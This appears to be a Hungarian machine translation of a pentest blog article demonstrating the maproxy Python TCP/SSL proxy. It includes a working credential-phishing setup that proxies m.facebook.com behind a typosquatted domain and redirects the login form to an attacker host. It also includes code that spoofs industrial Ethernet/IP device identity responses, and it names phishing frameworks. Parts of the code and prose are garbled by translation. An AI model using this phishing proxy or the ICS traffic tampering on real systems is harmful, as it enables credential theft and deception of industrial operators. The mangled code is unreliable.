A hálózati adatok menet közbeni feldolgozása

A cikk fordítása a tanfolyam kezdetének előestéjén készült „Pentest. Behatolási tesztelési gyakorlat".

A hálózati adatok menet közbeni feldolgozása

absztrakt

A különféle típusú biztonsági felmérések, kezdve a rendszeres penetrációs teszteléstől és a Red Team műveleteitől az IoT/ICS eszközök és a SCADA feltöréséig, bináris hálózati protokollokkal dolgoznak, vagyis lényegében a kliens és a célpont közötti hálózati adatok elfogását és módosítását jelentik. A hálózati forgalom szippantása nem nehéz feladat, mivel olyan eszközeink vannak, mint a Wireshark, a Tcpdump vagy a Scapy, de a módosítás munkaigényesebb feladatnak tűnik, mivel szükségünk lesz valamilyen interfészre a hálózati adatok olvasásához, szűréséhez, módosításához. menet közben, és szinte valós időben küldje vissza a célállomásnak. Ezenkívül ideális lenne, ha egy ilyen eszköz automatikusan több párhuzamos kapcsolattal működne, és szkriptek segítségével testreszabható lenne.

Egy napon felfedeztem egy eszközt, az úgynevezett maproxy, a dokumentáció gyorsan világossá tette számomra, hogy maproxy - éppen amire szükségem van. Ez egy meglehetősen egyszerű, sokoldalú és könnyen konfigurálható TCP-proxy. Ezt az eszközt több, meglehetősen bonyolult alkalmazáson teszteltem, beleértve az ICS-eszközöket (amelyek sok csomagot generálnak), hogy megnézzem, képes-e kezelni sok párhuzamos kapcsolatot, és az eszköz jól teljesített.

Ez a cikk bemutatja a hálózati adatok menet közbeni feldolgozását maproxy.

Értékelés

szerszám maproxy alapja a Tornado, egy népszerű és kiforrott aszinkron hálózati keretrendszer a Pythonban.

Általában több üzemmódban is működhet:

  • TCP:TCP – titkosítatlan TCP kapcsolatok;
  • TCP:SSL и SSL:TCP – egyirányú titkosítással;
  • SSL:SSL – kétirányú titkosítás.

Könyvtárként érkezik. A gyors kezdéshez használhat példafájlokat, amelyek tükrözik a fő könyvtári funkciók:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1. eset – egyszerű kétirányú proxy

Alapján tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Alapértelmezésben ProxyServer() két argumentumot vesz fel – a kapcsolat helyét és a célportot. server.listen() egy érvet vesz igénybe - a portot a bejövő kapcsolat meghallgatásához.

A szkript végrehajtása:

# python tcp2tcp.py

A teszt futtatásához csatlakozni fogunk egy helyi SSH szerverhez a proxy szkriptünkön keresztül, amely figyel 2222/tcp porthoz, és egy szabványos porthoz csatlakozik 22/tcp SSH szerverek:

A hálózati adatok menet közbeni feldolgozása

Az üdvözlő szalag arról tájékoztat, hogy a példaszkriptünk sikeresen proxyzott a hálózati forgalmat.

2. eset – adatmódosítás

Újabb demo szkript logging_proxy.py ideális a hálózati adatokkal való interakcióhoz. A fájlban található megjegyzések leírják azokat az osztálymetódusokat, amelyeket módosíthat a cél elérése érdekében:

A hálózati adatok menet közbeni feldolgozása

A legérdekesebb itt található:

  • on_c2p_done_read – adatok lehallgatása a klienstől a szerverig vezető úton;
  • on_p2s_done_read - fordítva.

Próbáljuk meg megváltoztatni azt az SSH-szalagot, amelyet a szerver visszaküld az ügyfélnek:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

A szkript végrehajtása:

A hálózati adatok menet közbeni feldolgozása

Amint láthatja, az ügyfelet félrevezették, mert az SSH-kiszolgáló neve megváltozott «DumnySSH».

A hálózati adatok menet közbeni feldolgozása

3. eset – egyszerű adathalász weboldal

Ennek az eszköznek a használatának végtelen módja van. Ezúttal összpontosítsunk valami gyakorlatiasabbra a Red Team műveleti oldaláról. Utánozzuk a céloldalt m.facebook.com és használjon egyéni domaint szándékos elírással, például m.facebok.com. Demonstrációs célból tegyük fel, hogy a domaint mi regisztráltuk.

Titkosítatlan hálózati kapcsolatot létesítünk áldozataink proxyjával és SSL Stream-el a Facebook szerverhez (31.13.81.36). Ahhoz, hogy ez a példa működjön, le kell cserélnünk a HTTP gazdagép fejlécét, és be kell illesztenünk a megfelelő hosztnevet, valamint letiltjuk a választömörítést is, hogy könnyen hozzáférhessünk a tartalomhoz. Végül lecseréljük a HTML űrlapot, így a bejelentkezési adatokat a Facebook szerverei helyett nekünk küldjük:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/hu/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Összefoglalva:

A hálózati adatok menet közbeni feldolgozása

Amint láthatja, sikeresen lecseréltük az eredeti oldalt.

4. eset – Ethernet/IP portolása

Elég régóta foglalkozom ipari eszközökkel és szoftverekkel (ICS/SCADA), mint például programozható vezérlők (PLC), I/O modulok, meghajtók, relék, létraprogramozási környezetek és még sok más. Ez a tok azoknak való, akik szeretik az ipari dolgokat. Az ilyen megoldások feltörése magában foglalja a hálózati protokollokkal való aktív játékot. A következő példában szeretném bemutatni, hogyan módosíthatja az ICS/SCADA hálózati forgalmat.

Ehhez a következőkre van szüksége:

  • Hálózati szippantó, például Wireshark;
  • Ethernet/IP vagy csak egy SIP eszköz, a Shodan szolgáltatás segítségével találhatja meg;
  • A forgatókönyvünk alapja maproxy.

Először nézzük meg, hogyan néz ki a CIP (Common Industrial Protocol) tipikus azonosítási válasza:

A hálózati adatok menet közbeni feldolgozása

Az eszköz azonosítása az Ethernet/IP protokoll segítségével történik, amely az ipari Ethernet protokoll továbbfejlesztett változata, amely olyan vezérlőprotokollokat foglal magában, mint például a CIP. Meg fogjuk változtatni a kiemelt azonosító nevét, amely a képernyőképen látható "NI-IndComm Ethernethez" proxy szkriptünk segítségével. Használhatnánk újra a forgatókönyvet logging_proxy.py és hasonlóképpen módosítsa az osztály metódusát on_p2s_done_read, mert azt szeretnénk, hogy más identitásnév legyen látható az ügyfélen.

Kód:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Lényegében kétszer kértük az eszköz azonosítását, a második válasz az eredeti volt, az első pedig menet közben módosult.

És az utolsó

Véleményem szerint maproxy Kényelmes és egyszerű eszköz, amely szintén Python nyelven íródott, ezért úgy gondolom, hogy Ön is profitálhat a használatából. Természetesen léteznek bonyolultabb eszközök a hálózati adatok feldolgozására, módosítására, de ezek is nagyobb odafigyelést igényelnek, és általában konkrét használati esetre készülnek, pl. muraena, Modlishka vagy evilginx a harmadikhoz hasonló esetekre, ill canape az utolsó esetre. Így vagy úgy, segítséggel maproxy gyorsan megvalósíthatja elképzeléseit a hálózati adatok elfogásával kapcsolatban, mivel a példaszkriptek nagyon világosak.

Hitelesítési mechanizmusok tesztelése a Windows AD rendszerben

Forrás: will.com

Hozzászólás